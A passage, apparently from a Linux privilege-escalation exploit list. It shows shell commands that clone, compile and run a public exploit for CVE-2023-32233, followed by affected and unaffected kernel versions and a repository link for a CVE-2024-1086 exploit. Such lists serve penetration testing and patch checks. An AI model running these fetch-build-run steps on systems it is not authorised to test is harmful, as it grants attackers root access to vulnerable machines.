$ git clone https://github.com/Liuk3r/CVE-2023-32233
$ cd CVE-2023-32233
$gcc -Wall -o exploit exploit.c -lmnl -lnftnl
$ ./exploit
```

CVE-2024-1086

Affected Version

- 3.15 <= Linux kernel < 6.1.76
- 6.2 <= Linux kernel < 6.6.15
- 6.7 <= Linux kernel < 6.7.3
- Linux kernel = 6.8-rc1

Unaffected Version

- Linux kernel = 4.19.307
- Linux kernel = 5.4.269
- Linux kernel = 5.10.210
- Linux kernel = 5.15.149
- Linux kernel >= 6.1.76
- Linux kernel >= 6.6.15
- Linux kernel >= 6.7.3
- Linux kernel >= 6.8-rc2

https://github.com/Notselwyn/CVE-2024-1086.git

.